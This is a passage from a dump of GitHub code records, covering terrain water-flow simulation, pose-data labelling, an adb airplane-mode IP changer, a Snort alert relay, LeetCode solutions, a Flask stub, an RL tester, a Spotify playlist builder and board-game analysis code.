heights_and_neighbors_increasing[0][0]\n lowest_to_this_point_dh = h_this_point - lowest_h\n current_water_depth_this_point = self.water_depth_array[x, y] + depth_changes_array[x, y]\n max_amount_can_transfer = current_water_depth_this_point # times 1 for the area of the spot it is on\n max_amount_can_transfer /= 4 # viscosity?? will hopefully prevent checkerboard alternation\n next_h = None\n lowest_rank = [heights_and_neighbors_increasing[0]]\n for nh, n in heights_and_neighbors_increasing[1:]:\n if nh > lowest_h:\n next_h = nh\n break # for\n lowest_rank.append((nh, n))\n if next_h is None:\n # everything in neighbors was same height\n next_h = h_this_point\n\n # all points that are tied for lowest height will get an equal share of the flow\n n_receivers = len(lowest_rank)\n # first, get how much would be transferred to them to equalize with this point\n average_h = 1/(n_receivers+1) * (n_receivers*lowest_h + 1*h_this_point)\n lowest_to_average_dh = average_h - lowest_h\n # but if this is more than they would take to go to the next highest neighbor,\n # then they will equilibrate with it so we loop again\n lowest_to_next_dh = next_h - lowest_h\n dh_to_implement = min(lowest_to_average_dh, lowest_to_next_dh)\n assert dh_to_implement >= 0\n\n amount_to_transfer = dh_to_implement * n_receivers\n if amount_to_transfer > max_amount_can_transfer:\n amount_to_transfer = max_amount_can_transfer\n will_break = True\n else:\n will_break = False\n\n amount_to_transfer_to_each = amount_to_transfer / n_receivers\n # print(\"lowest_rank {} with {} receivers\".format(lowest_rank, n_receivers))\n \n if amount_to_transfer == 0:\n break\n for i in range(n_receivers):\n n = lowest_rank[i][1]\n if not self.is_land(*n):\n # sea will pull higher water level toward it, but then acts like an infinite sink, sea level will not rise\n continue\n depth_changes_array[n[0], n[1]] += amount_to_transfer_to_each\n heights_and_neighbors_increasing[i] = (\n heights_and_neighbors_increasing[i][0] + amount_to_transfer_to_each,\n heights_and_neighbors_increasing[i][1]\n )\n depth_changes_array[x, y] -= amount_to_transfer # total transferred\n resulting_depth = self.water_depth_array[x, y] + depth_changes_array[x, y]\n # print(\"depth change at {} -= {} --> {}\\nwill give depth {}\".format((x, y), amount_to_transfer, depth_changes_array[x, y], resulting_depth))\n if resulting_depth < 0:\n if abs(resulting_depth) > 1e-6:\n print(\"uh oh, negative depth created\")\n input(\"check\")\n if will_break:\n break # while\n # next point, don't apply depth changes until very end so you do all points at once based on what they wanted to do at this time\n # print(\"\\ngot depth changes array with sum {}, max abs {}:\\n{}\".format(depth_changes_array.sum(), abs(depth_changes_array).max(), depth_changes_array))\n self.water_depth_array += depth_changes_array\n # print(\"resulting water depth array:\\n{}\".format(self.water_depth_array))\n # input(\"check\")\n assert self.water_depth_array.min() >= -1e-6, \"no negative water depth allowed\"\n\n def get_average_water_depth(self, initial_steps, averaging_steps):\n for i in range(initial_steps):\n print(\"initialization step\", i)\n # don't average over these, let it try to reach a stable state\n self.apply_rainfall()\n sum_water_depth_array = np.zeros((self.x_size, self.y_size))\n for i in range(averaging_steps):\n print(\"averaging step\", i)\n self.apply_rainfall()\n sum_water_depth_array += self.water_depth_array\n return sum_water_depth_array / averaging_steps\n\n def plot_flow_steps(self, n_steps):\n plt.ion()\n for _ in range(n_steps):\n self.apply_rainfall()\n plt.gcf().clear()\n plt.imshow(self.array + self.water_depth_array)\n plt.colorbar()\n plt.draw()\n plt.pause(0.001)\n\n def plot_average_water_location(self):\n average_water_depth_array = self.get_average_water_depth(100, 100)\n average_water_depth_array[self.array < 0] = 0 # is_land changes means this changes\n average_height_array = self.array + average_water_depth_array\n plt.subplot(1, 2, 1)\n plt.imshow(average_water_depth_array)\n plt.subplot(1, 2, 2)\n plt.imshow(average_height_array)\n plt.colorbar()\n plt.show()\n\n def plot_flow_amounts(self):\n self.create_flow_arrays()\n # arr = self.flow_array # max is too high for linear cmap\n arr = self.flow_quantile_array\n plt.imshow(arr, cmap=plt.cm.inferno)\n plt.colorbar()\n plt.show()\n\n def plot_rivers(self):\n self.pre_plot(alpha=1)\n self.create_flow_arrays()\n print(\"flow stats: min {} median {} mean {} max {}\".format(\n np.min(self.flow_array),\n np.median(self.flow_array),\n np.mean(self.flow_array),\n np.max(self.flow_array),\n ))\n mean_flow = np.mean(self.flow_array)\n\n # blue_value = lambda x: get_nearest_quantile(x)\n # alpha_value = lambda x: get_nearest_quantile(x)\n # river_rgba_array = []\n line_segments = []\n colors = []\n for x in self.x_range:\n # this_row = []\n for y in self.y_range:\n flow = self.flow_array[x, y]\n flow_destination = self.flow_destination_array[x, y]\n flow_quantile = self.flow_quantile_array[x, y]\n if flow_destination is not None:\n # seg = [(x, y), flow_destination]\n # transpose\n seg = [(y, x), flow_destination[::-1]]\n # print(seg)\n line_segments.append(seg)\n # b = blue_value(flow)\n # a = alpha_value(flow)\n # r = 0\n # g = b # make it cyan\n # color = (r, g, b, a)\n # color = (0, 0, 1, a)\n # if a > 0:\n # input(\"flow {} from {} to {} gave rgba {}\".format(flow, (x, y), flow_destination, color))\n cmap = plt.cm.GnBu\n r, g, b, a = cmap(flow_quantile)\n color = (r, g, b, a*0.5)\n colors.append(color)\n # this_row.append(color)\n # river_rgba_array.append(this_row)\n # river_rgba_array = np.array(river_rgba_array)\n # print(test_array)\n # print(f(test_array))\n # print(river_rgba_array[150:152, 150:153])\n # plt.imshow(self.water_flow_array)\n # plt.imshow(river_rgba_array, origin=\"lower\")\n lc = mcollections.LineCollection(line_segments, colors=colors)\n plt.gca().add_collection(lc)\n plt.gca().autoscale()\n plt.show()\n\n @staticmethod\n def from_images(image_fps, image_latlons, image_variables, color_conditions, condition_ranges, map_lattice):\n print(\"called ElevationGenerationMap.from_images()\")\n # all points in image matching something in the color dict should be that color no matter what\n # everything else is randomly generated\n # i.e., put the determined points in points_to_avoid for functions that take it\n\n df = map_lattice.create_dataframe()\n for image_fp, image_latlon_set, image_variable in zip(image_fps, image_latlons, image_variables):\n color_conditions_this_variable = color_conditions[image_variable]\n condition_ranges_this_variable = condition_ranges[image_variable]\n df = ElevationGenerationMap.add_image_data_to_lattice(image_fp, image_latlon_set, image_variable, color_conditions_this_variable, condition_ranges_this_variable, map_lattice, df)\n\n return df # TODO should return ElevationGenerationMap? Or is that even needed anymore now that the df holds this data?\n\n @staticmethod\n def add_image_data_to_lattice_dataframe(image_fp, image_latlons, image_variable, color_conditions, condition_ranges, map_lattice, df):\n\n raise Exception(\"try to deprecate this function in favor of cleaning it up into just a method for transforming image into data file with point indices on the Icosa, see TransformImageIntoMapData.py\")\n\n assert isinstance(map_lattice, Lattice), \"map_lattice has wrong type: {}\".format(type(map_lattice))\n im = Image.open(image_fp)\n width, height = im.size\n print(\"creating image lattice\")\n latlon00 = image_latlons[\"00\"]\n latlon01 = image_latlons[\"01\"]\n latlon10 = image_latlons[\"10\"]\n latlon11 = image_latlons[\"11\"]\n\n image_lattice = LatitudeLongitudeLattice(\n height, width, # rows, columns\n latlon00, latlon01, latlon10, latlon11\n ) # we are not actually going to add data to this lattice, but we will use it to get point coordinates more easily\n # later will need to be able to adjust edge length dynamically based on how fine the image grid is\n print(\"- done creating image lattice\")\n\n arr = np.array(im)\n color_and_first_seen = {}\n condition_to_color = color_conditions\n color_to_condition = {tuple(v):k for k,v in color_conditions.items()}\n usp_to_condition = {}\n print(\"mapping image points to value and condition\")\n for x in range(height):\n if x % 100 == 0:\n print(\"x = {}/{}\".format(x, height))\n for y in range(width):\n color = tuple(arr[x, y])\n if color not in color_to_condition:\n color = None\n if color not in color_and_first_seen:\n print(\"got new color {} at {}\".format(color, (x, y)))\n color_and_first_seen[color] = (x, y)\n if color in color_to_condition:\n condition_name = color_to_condition[color]\n xy = (x, y)\n p = image_lattice.get_usp_from_lattice_position(xy)\n usp_to_condition[p] = condition_name\n print(\"- done mapping points to value and condition\")\n print(usp_to_condition)\n input(\"press enter\")\n\n print(\"creating map from lattice points to image points\")\n map_lattice_points = map_lattice.points\n print(\"creating image points that will be referenced\")\n image_points_that_will_be_referenced = set()\n for i, lattice_p in enumerate(map_lattice_points):\n if i % 100 == 0:\n # can be optimized by not checking map lattice points that are too far away from the image edges, reduce number of distance calculations that will just be wasted\n print(\"map point {}/{}\".format(i, len(map_lattice_points)))\n image_point = image_lattice.closest_point_to(lattice_p)\n image_points_that_will_be_referenced.add(image_point)\n print(\"- done creating image points that will be referenced\")\n\n # now for each of these image points, get the closest lattice point and use the image point for that lattice point, not others\n # because the others claiming the same closest image point will be outside the image boundaries, I think\n lattice_points_to_image_points = {}\n for i, image_p in enumerate(image_points_that_will_be_referenced):\n if i % 100 == 0:\n print(\"image point {}/{}\".format(i, len(image_points_that_will_be_referenced)))\n key = map_lattice.closest_point_to(image_p)\n val = image_p\n lattice_points_to_image_points[key] = val\n print(\"- done creating map from lattice points to image points\")\n\n print(\"filling map values and conditions\")\n for lattice_p, image_p in lattice_points_to_image_points.items():\n # faster to get the image point near each lattice point than the other way around, if the lattice is lower-resolution\n # if the image is lower-resolution than the lattice, then start doing things the other way around, maybe?\n # image_point = image_lattice.point_dict[(x, y)] \n # p = map_lattice.closest_point_to(image_point) # closest point on lattice to this x, y point on the image\n condition = usp_to_condition[image_p]\n map_lattice.add_condition_name_at_position(lattice_p, condition)\n if is_frozen:\n m.freeze_point(lattice_p)\n print(\"- done filling map values and conditions\")\n\n print(\"- returning DataFrame with image data added\")\n return df\n\n @staticmethod\n def from_data(key_strs, project_name, project_version):\n assert type(key_strs) is list, \"invalid key_strs: {}\".format(key_strs)\n print(\"loading data {} for project {} v{}\".format(key_strs, project_name, project_version))\n data_dict = {}\n for key_str in key_strs:\n if False: #key_str == \"volcanism\": # TODO make certain things version-invariant\n file_version_to_load = 0\n else:\n file_version_to_load = project_version\n data_dict_this_key = ElevationGenerationMap.load_single_data_file(key_str, project_name, file_version_to_load)\n for p_i in data_dict_this_key:\n if p_i not in data_dict:\n data_dict[p_i] = {}\n data_dict[p_i][key_str] = data_dict_this_key[p_i][key_str]\n n_iterations = IcosahedronMath.get_iterations_from_number_of_points(len(data_dict))\n lattice = IcosahedralGeodesicLattice(iterations=n_iterations)\n\n return ElevationGenerationMap(lattice=lattice, data_dict=data_dict)\n\n @staticmethod\n def load_single_data_file(key_str, project_name, project_version):\n assert type(key_str) is str, \"invalid key_str: {}\".format(key_str)\n data_fp = \"/home/wesley/programming/Mapping/Projects/{project_name}/Data/EGD_{project_name}_{key_str}_v{project_version}.txt\".format(**locals())\n with open(data_fp) as f:\n contents = f.read()\n vals = contents.split(\"\\n\")\n if vals[-1] == \"\":\n vals = vals[:-1]\n vals = [float(x) for x in vals]\n data_dict = {} # point index to value\n for p_i, val in enumerate(vals):\n data_dict[p_i] = {key_str: val}\n # print(\"got data_dict from data_fp {}: {}\".format(data_fp, data_dict))\n # input(\"check for correctness\")\n return data_dict\n\n # older, for LatitudeLongitudeLattice\n # array = np.array(lines)\n # x_size, y_size = array.shape\n # return ElevationGenerationMap(x_size, y_size, latlon00, latlon01, latlon10, latlon11, array=array)\n\n def freeze_coastlines(self):\n coastal_points = set()\n for p in range(len(self.lattice.points)):\n if self.get_value_at_position(p, \"elevation\") < 0:\n neighbors = self.get_neighbors(p)\n for n in neighbors:\n if self.get_value_at_position(n, \"elevation\") >= 0:\n coastal_points.add(n)\n for p in coastal_points:\n self.fill_position(p, \"elevation\", 0)\n self.freeze_point(p)\n\n # def get_min_gradient_array(self):\n # if hasattr(self, \"min_gradient_array\") and self.min_gradient_array is not None:\n # return self.min_gradient_array\n # res = make_nan_array(self.x_size, self.y_size)\n # for p in self.get_all_points():\n # min_grad_this_point = np.inf\n # for q in self.get_neighbors(*p):\n # dist = 1 if p[0] == q[0] or p[1] == q[1] else np.sqrt(2)\n # dh = self.array[q[0], q[1]] - self.array[p[0], p[1]]\n # grad = dh/dist\n # min_grad_this_point = min(grad, min_grad_this_point)\n # res[p[0], p[1]] = min_grad_this_point\n # self.min_gradient_array = res\n # return res\n\n def get_max_gradient(self):\n print(\"getting max grad\")\n from_point = None\n to_point = None\n max_grad = -np.inf\n max_grad_pair = None\n all_points = sorted(self.get_all_points())\n for p in all_points:\n for q in self.get_neighbors(*p):\n dist = 1 if p[0] == q[0] or p[1] == q[1] else np.sqrt(2)\n dh = self.array[q[0], q[1]] - self.array[p[0], p[1]]\n grad = dh/dist\n if grad > max_grad:\n max_grad = grad\n max_grad_pair = (p, q)\n return max_grad, max_grad_pair\n\n def save_data(self, key_str, project_name, project_version):\n # format is just grid of comma-separated numbers\n # if not confirm_overwrite_file:\n # return\n # output_fp = add_datetime_to_fp(output_fp)\n output_fp = \"/home/wesley/programming/Mapping/Projects/{project_name}/Data/EGD_{project_name}_{key_str}_v{project_version}.txt\".format(**locals())\n while os.path.exists(output_fp):\n print(\"file {} exists, renaming output fp\".format(output_fp))\n output_fp = output_fp.replace(\".txt\", \"-1.txt\")\n print(\"saving {} data to {}\".format(key_str, output_fp))\n with open(output_fp, \"w\") as f:\n s = \"\"\n for p_i in range(len(self.lattice.points)):\n val = self.get_value_at_position(p_i, key_str)\n s += str(val) + \"\\n\"\n f.write(s)\n print(\"finished saving {} data\".format(key_str))\n","repo_name":"Kuhron/programming","sub_path":"Mapping/ElevationGenerationMap.py","file_name":"ElevationGenerationMap.py","file_ext":"py","file_size_in_byte":60707,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"7596134048","text":"import cv2\nimport numpy as np\nimport pandas as pd\nimport mediapipe as mp\n\nmpDraw = mp.solutions.drawing_utils\n\ndef draw_line(img,a,b):\n cv2.line(img, a, b, (255, 255, 255), thickness=1)\n return img\ndef draw_landmark_on_image(mpDraw, results, img):\n # Vẽ các điểm nút\n adu=[]\n adus=[]\n for i in range(len(results)):\n adu.append(results[i])\n #lấy ra 4 giá trị của mỗi điểm\n if (i+1)%4==0:\n adus.append(adu)\n adu=[]\n adu=[]\n for lm in adus:\n h, w, c = img.shape\n # Lấy giá trị x,y của 1 điểm\n cx, cy = int(lm[0] * w), int(lm[1] * h)\n adu.append((cx,cy))\n cv2.circle(img, (cx, cy), 2, (0, 0, 255), cv2.FILLED)\n\n #Draw connection\n S={0, 1, 2, 4, 5, 9, 11, 23}\n S1={3, 0, 15, 16, 27, 28}\n S2={6, 11, 13, 15, 17, 12, 14, 16, 18, 23, 24, 25, 26, 27, 28, 29, 30} #vì chỉ lấy đến điểm 24\n S3={15, 16}\n S4={11, 12}\n\n for i in range(len(adu)):\n if i in S:\n draw_line(img, adu[i], adu[i+1])\n if i in S1:\n draw_line(img, adu[i], adu[i+4])\n if i in S2:\n draw_line(img, adu[i], adu[i + 2])\n if i in S3:\n draw_line(img, adu[i], adu[i + 6])\n if i in S4:\n draw_line(img, adu[i], adu[i + 12])\n return img\n\n\nquaytrai_df = pd.read_csv(\"Data_train/chay.txt\")\ndataset = quaytrai_df.iloc[:,1:].values\nn_sample = len(dataset)\ni = 0\nlist_frame_di=[]\nlist_frame_chay=[]\nlabel1=f\"data_di\"\nlabel2=f\"data_chay\"\n\nf_save_di=False\nf_save_chay=False\n\nframe = np.ones((480, 640, 3), np.uint8) * 0\nprint(len(dataset[1]))\nwhile i0: i=i-1\n elif key == ord('l'): #right arrow\n if i < n_sample: i = i + 1\n elif key==ord(' '): #space\n for j in range (10):\n list_frame_di.append(dataset[i])\n i=i+1\n elif key==ord('b'):\n for j in range (10):\n list_frame_chay.append(dataset[i])\n i=i+1\n elif key==ord('q'):\n break\n if i > n_sample:\n break\nif f_save_di:\n df1 = pd.DataFrame(list_frame_di)\n df1.to_csv(label1 + \".txt\")\nif f_save_chay:\n df2 = pd.DataFrame(list_frame_chay)\n df2.to_csv(label2 + \".txt\")","repo_name":"NinhVanChuong/lstm-nckh","sub_path":"checkData.py","file_name":"checkData.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18005721128","text":"\n\n\nimport sys\n\n\n\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import uic\nfrom PyQt5.QtCore import *\nimport os\nimport time\nfrom requests import get\nfrom datetime import datetime\nimport subprocess\nnow_file = os.getcwd()\ndef resource_path(relative_path):\n \"\"\" Get absolute path to resource, works for dev and for PyInstaller \"\"\" \n base_path = getattr(sys, '_MEIPASS', os.path.dirname(os.path.abspath(__file__))) \n return os.path.join(base_path, relative_path)\n\n\n\nform=resource_path(\"ip_change.ui\")\nform_class = uic.loadUiType(form)[0]\nadb_bat = resource_path(\"adb_reset.bat\")\nadb = resource_path(\"adb.exe\")\nadb_dll_1 = resource_path(\"AdbWinApi.dll\")\nadb_dll_2 = resource_path(\"AdbWinUsbApi.dll\")\nsubprocess.run(adb_bat,shell=True)\nsubprocess.run(adb,shell=True)\nclass ip_run(QThread):\n \n def __init__(self, parent):\n super().__init__(parent)\n self.parent = parent\n \n \n def run(self) :\n self.parent.on_air()\n time.sleep(3)\n self.parent.off_air()\n time.sleep(3)\n try:\n ip=get(\"https://api.ipify.org\").text\n print(ip)\n now = datetime.now() \n nowRT = now.strftime(\" / %m/%d %H:%M\")\n now_get = ip + nowRT\n self.parent.textBrowser.append(now_get)\n self.parent.pushButton.setEnabled(True) \n self.parent.pushButton.setText(\"IP 변경\")\n self.parent.s_max()\n \n except:\n print(\"hi\")\n self.parent.pushButton.setEnabled(True) \n \n self.parent.pushButton.setText(\"IP 변경\") \n self.parent.s_max()\n\n\nclass MyWindow(QMainWindow, form_class):\n \n def __init__(self):\n \n super().__init__() \n \n self.setupUi(self) \n self.pushButton.clicked.connect(self.ipappend)\n self.pushButton_3.clicked.connect(self.now_ip)\n self.iprun=ip_run(self)\n self.scrollBar = self.textBrowser.verticalScrollBar()\n self.setWindowTitle(\"IP변경/준소프트\")\n self.now_ip()\n\n def now_ip(self):\n \n try:\n ip=get(\"https://api.ipify.org\").text\n adad= \"현재 IP : \"\n afaf = adad + ip\n self.label.setText(afaf)\n except:\n print(\"no\")\n\n def ipappend(self):\n self.iprun.start()\n self.pushButton.setEnabled(False) \n self.pushButton.setText(\"IP 변경 중\") \n \n\n def s_max(self):\n time.sleep(0.5)\n self.scrollBar.setValue(self.scrollBar.maximum())\n def on_air(self):\n\n subprocess.run('adb shell settings put global airplane_mode_on 1',shell=True)\n subprocess.run(\"adb shell am broadcast -a android.intent.action.AIRPLANE_MODE --ez state true\",shell=True)\n\n def off_air(self):\n\n subprocess.run('adb shell settings put global airplane_mode_on 0',shell=True)\n subprocess.run(\"adb shell am broadcast -a android.intent.action.AIRPLANE_MODE --ez state false\",shell=True)\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n myWindow = MyWindow()\n \n myWindow.show()\n app.exec_()\n subprocess.run('adb kill-server',shell=True)\n ","repo_name":"skdi262/pyqt","sub_path":"ip_changer.py","file_name":"ip_changer.py","file_ext":"py","file_size_in_byte":3200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3778598886","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\n\nimport itertools as it, operator as op, functools as ft\nfrom contextlib import closing\nfrom time import time\nimport os, re\n\nfrom twisted.python import log\n\nfrom . import BCRelay\n\n\nclass SnortLog(BCRelay):\n\n\tdef __init__(self, *argz, **kwz):\n\t\tsuper(SnortLog, self).__init__(*argz, **kwz)\n\t\timport zmq\n\t\tself.zmq = zmq\n\t\tself.zmq_ctx = zmq.Context()\n\t\tself.zmq_optz = self.conf.traffic_dump.nflog_pipe_interface\n\t\tlog.noise('Compiling regex: {!r}'.format(self.conf.sig_match))\n\t\tself.regex = re.compile(self.conf.sig_match)\n\n\tdef traffic_dump(self):\n\t\twith closing(self.zmq_ctx.socket(self.zmq.REQ)) as sock:\n\t\t\tfor k in self.zmq.RCVTIMEO, self.zmq.SNDTIMEO:\n\t\t\t\tsock.setsockopt(k, int(self.zmq_optz.timeout * 1e3))\n\t\t\tlog.debug('Sending traffic-dump request')\n\t\t\tsock.connect(self.zmq_optz.socket)\n\t\t\tsock.send('q')\n\t\t\tdump_name = self.conf.traffic_dump.path.format(ts=int(time()))\n\t\t\twith open(dump_name, 'wb') as dst:\n\t\t\t\tdst.write(sock.recv())\n\t\t\t\twhile sock.getsockopt(self.zmq.RCVMORE): dst.write(sock.recv())\n\t\treturn os.path.basename(dump_name)\n\n\tdef dispatch(self, msg):\n\t\t# Get the artifact signature id\n\t\tmatch = self.regex.search(msg)\n\t\tif not match:\n\t\t\tlog.debug('Failed to match snort rule-signature in msg: {!r}'.format(msg))\n\t\t\treturn msg\n\t\tsig = match.group('sig')\n\n\t\t# Check if traffic dump should be generated\n\t\tdump = False\n\t\tif self.conf.traffic_dump.match_exclude:\n\t\t\tfor regex in self.conf.traffic_dump.match_exclude:\n\t\t\t\tif re.search(regex, msg):\n\t\t\t\t\tdump = None\n\t\t\t\t\tbreak\n\t\tif dump is not None:\n\t\t\tif sig in self.conf.traffic_dump.signatures: dump = True\n\t\t\tif not dump and self.conf.traffic_dump.match:\n\t\t\t\tfor regex in self.conf.traffic_dump.match:\n\t\t\t\t\tif re.search(regex, msg):\n\t\t\t\t\t\tdump = True\n\t\t\t\t\t\tbreak\n\n\t\tif dump:\n\t\t\ttry: dump = self.traffic_dump()\n\t\t\texcept Exception as err:\n\t\t\t\tmsg += '\\n dump failed: {}'.format(err)\n\t\t\telse: msg += '\\n dump: {}'.format(dump)\n\n\t\treturn msg\n\n\nrelay = SnortLog\n","repo_name":"mk-fg/bordercamp-irc-bot","sub_path":"bordercamp/relays/pipe_snort_nflog.py","file_name":"pipe_snort_nflog.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"21129747318","text":"class Solution:\n def kClosest(self, points: List[List[int]], k: int) -> List[List[int]]:\n dist = lambda x: x[0]**2 + x[1]**2\n def lomuto(A, l, r):\n d = randint(l, r) # random int in [l...r]\n A[d], A[r] = A[r], A[d]\n pdist = dist(A[r])\n i = l - 1\n for j in range(l, r):\n if dist(A[j]) <= pdist:\n i += 1\n A[i], A[j] = A[j], A[i]\n A[i + 1], A[r] = A[r], A[i + 1]\n return i + 1\n\n l, r, p = 0, len(points) - 1, 0\n while l < r:\n p = lomuto(points, l, r)\n if p == k-1:\n break\n elif p > k-1:\n r = p-1\n else:\n l = p + 1\n return points[: k]","repo_name":"fxrcode/FG","sub_path":"973-k-closest-points-to-origin/973-k-closest-points-to-origin.py","file_name":"973-k-closest-points-to-origin.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"14049365971","text":"from flask import Flask\nfrom flask_pymongo import PyMongo\n\napp = Flask(__name__)\napp.config[\"MONGO_URI\"] = \"mongodb://127.0.0.1:27017/flaskCrashCourse\"\nmongo = PyMongo(app)\n\n\n@app.route('/')\ndef home():\n return \"

The home page

\"\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"YSRajawat07/TechnoTrade","sub_path":"StockSelection/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73568575573","text":"import os\nimport gym\nimport gym.spaces\nimport gym_service\n\nfrom rl_utils.model import *\nfrom rl_utils.utils import *\n\nclass Tester(object):\n def __init__(self, env_name, filename_prefix, num_stack):\n super(Tester, self).__init__()\n\n self.env = gym.make(env_name)\n self.filename = filename_prefix + \"_params.pkl\"\n self.num_stack = num_stack\n\n def test(self):\n env = self.env\n obs_shape = env.observation_space.shape\n entry_obs_shape = (obs_shape[0] * self.num_stack, *obs_shape[1:])\n policy = Policy(entry_obs_shape, env.action_space)\n # policy.eval()\n\n if os.path.isfile(self.filename):\n policy.load_state_dict(torch.load(self.filename))\n\n stacked_s = torch.zeros(1, self.num_stack * obs_shape[0], *obs_shape[1:])\n s = env.reset()\n update_stacked_s(stacked_s, s, obs_shape)\n\n while True:\n env.render()\n with torch.no_grad():\n a = policy(stacked_s)[0]\n a_np = a.squeeze(0).cpu().numpy()\n if len(a_np) == 1:\n a_np = a_np[0]\n s, _, done, _ = env.step(a_np)\n update_stacked_s(stacked_s, s, obs_shape)\n if done:\n break\n self.env.close()\n","repo_name":"BCHoagland/RL-Utils","sub_path":"rl_utils/tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4821009004","text":"from bs4 import BeautifulSoup\nimport requests\nimport spotipy\n\n\n\nCLIENT_ID = \"SPORTIFY CLIENT ID FROM SPORIFY DEVELOPER PORTAL\"\nCLIENT_SECRET = \"SPORTIFY SERCRET ID FROM SPORIFY DEVELOPER PORTAL\"\n\n\noauth_object = spotipy.SpotifyOAuth(client_id=CLIENT_ID,\n client_secret=CLIENT_SECRET,\n redirect_uri=\"http://example.com\",\n show_dialog=True,\n cache_path=\"token.txt\",\n scope=\"playlist-modify-private\"\n )\n\nsp = spotipy.Spotify(auth_manager=oauth_object)\n\nuser_id = sp.current_user()[\"id\"]\n\n# user input for top 100 year\nyear = input(\"Which year would you like to create a top 100 ? \\nYYYY-MM-DD\\n\")\n# gets url for that year\nURL = f\"https://www.billboard.com/charts/hot-100/{year}\"\n\n# gets data\nresponse = requests.get(URL)\ntop_html = response.text\n\nuser_id = sp.current_user()[\"id\"]\n# parses the site.\nsoup = BeautifulSoup(top_html, \"html.parser\")\n# to find the song name with css/html selector using beautifulsoup\nsongs_list = soup.select(\"li ul li h3\")\n\n# adds song to list and removes all newlines since the H3 element is full of them\nsong_names = [song.get_text(strip=True) for song in songs_list]\n\n# creates playlist with the enterd date in the year\nmy_playlist = sp.user_playlist_create(user=f\"{user_id}\", name=f\"{year}: Top Tracks\", public=False,\n description=\"OPTIONAL\")\n# song uri/tracks list\nsong_uri = []\n# loops and gets all URIs, if it dosent find song. pass\nfor i in song_names:\n try:\n track = sp.search(q=' track:' + i, type='track')\n track_uri = (track[\"tracks\"][\"items\"][0][\"uri\"])\n except IndexError:\n pass\n finally:\n song_uri.append(track_uri)\n\n\n\n # creates playlist from song_uri list. \nsp.playlist_add_items(playlist_id=my_playlist[\"id\"],items=song_uri)\n\n\n\n","repo_name":"olivernikolasson/Playlist_top100_On-Year","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39198364339","text":"from typing import List, Optional\n\nimport numpy as np\nfrom swd.action import PickWonderAction\nfrom swd.agents import RecordedAgent\nfrom swd.bonuses import INSTANT_BONUSES\nfrom swd.entity_manager import EntityManager\nfrom swd.game import Game\nfrom swd.military_track import MilitaryTrack\nfrom swd.player import Player\nfrom swd.states.game_state import GameState\n\n\nclass GameFeatures:\n initial_state: GameState\n wonders_state: Optional[GameState]\n age_states: List[GameState]\n first_picked_wonders: List[int]\n double_turns: List[int]\n winner: Optional[int]\n victory: str\n division: Optional[int]\n path: Optional[str]\n players: Optional[str]\n\n def __init__(self, initial_state: GameState, agents: List[RecordedAgent]):\n self.initial_state = initial_state\n self.wonders_state = None\n self.age_states = []\n self.first_picked_wonders = []\n\n state = self.initial_state.clone()\n while not Game.is_finished(state):\n if len(state.wonders) == 0 and self.wonders_state is None:\n self.wonders_state = state.clone()\n if state.age > len(self.age_states):\n self.age_states.append(state.clone())\n\n actions = Game.get_available_actions(state)\n selected_action = agents[state.current_player_index].choose_action(state, actions)\n if state.wonders in [4, 8] and isinstance(selected_action, PickWonderAction):\n self.first_picked_wonders.append(selected_action.wonder_id)\n\n Game.apply_action(state, selected_action)\n self.age_states.append(state.clone())\n\n self.double_turns = [0, 0]\n for i, player_state in enumerate(self.wonders_state.players_state):\n for wonder in player_state.wonders:\n instant_bonuses = EntityManager.wonder(wonder[0]).instant_bonuses\n self.double_turns[i] += INSTANT_BONUSES.index(\"double_turn\") in instant_bonuses\n\n self.winner = state.winner\n\n if self.winner is None:\n self.victory = \"tie\"\n elif MilitaryTrack.military_supremacist(state.military_track_state) is not None:\n self.victory = \"military\"\n elif max([np.count_nonzero(Player.scientific_symbols(p)) for p in state.players_state]) >= 6:\n self.victory = \"science\"\n else:\n self.victory = \"score\"\n\n self.division = self.initial_state.meta_info.get(\"division\")\n self.path = self.initial_state.meta_info.get(\"path\")\n self.players = self.initial_state.meta_info.get(\"player_names\")\n","repo_name":"dfomin/7wd-bot","sub_path":"swd_bot/game_features.py","file_name":"game_features.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24850619811","text":"\"\"\"\n给你一个整数数组 jobs ,其中 jobs[i] 是完成第 i 项工作要花费的时间。\n请你将这些工作分配给 k 位工人。所有工作都应该分配给工人,且每项工作只能分配给一位工人。\n工人的 工作时间 是完成分配给他们的所有工作花费时间的总和。请你设计一套最佳的工作分配方案,使工人的 最大工作时间 得以 最小化 。\n返回分配方案中尽可能 最小 的 最大工作时间 。\n\n\n示例 1:\n\n输入:jobs = [3,2,3], k = 3\n输出:3\n解释:给每位工人分配一项工作,最大工作时间是 3 。\n示例 2:\n\n输入:jobs = [1,2,4,7,8], k = 2\n输出:11\n解释:按下述方式分配工作:\n1 号工人:1、2、8(工作时间 = 1 + 2 + 8 = 11)\n2 号工人:4、7(工作时间 = 4 + 7 = 11)\n最大工作时间是 11 。\n\n提示:\n\n1 <= k <= jobs.length <= 12\n1 <= jobs[i] <= 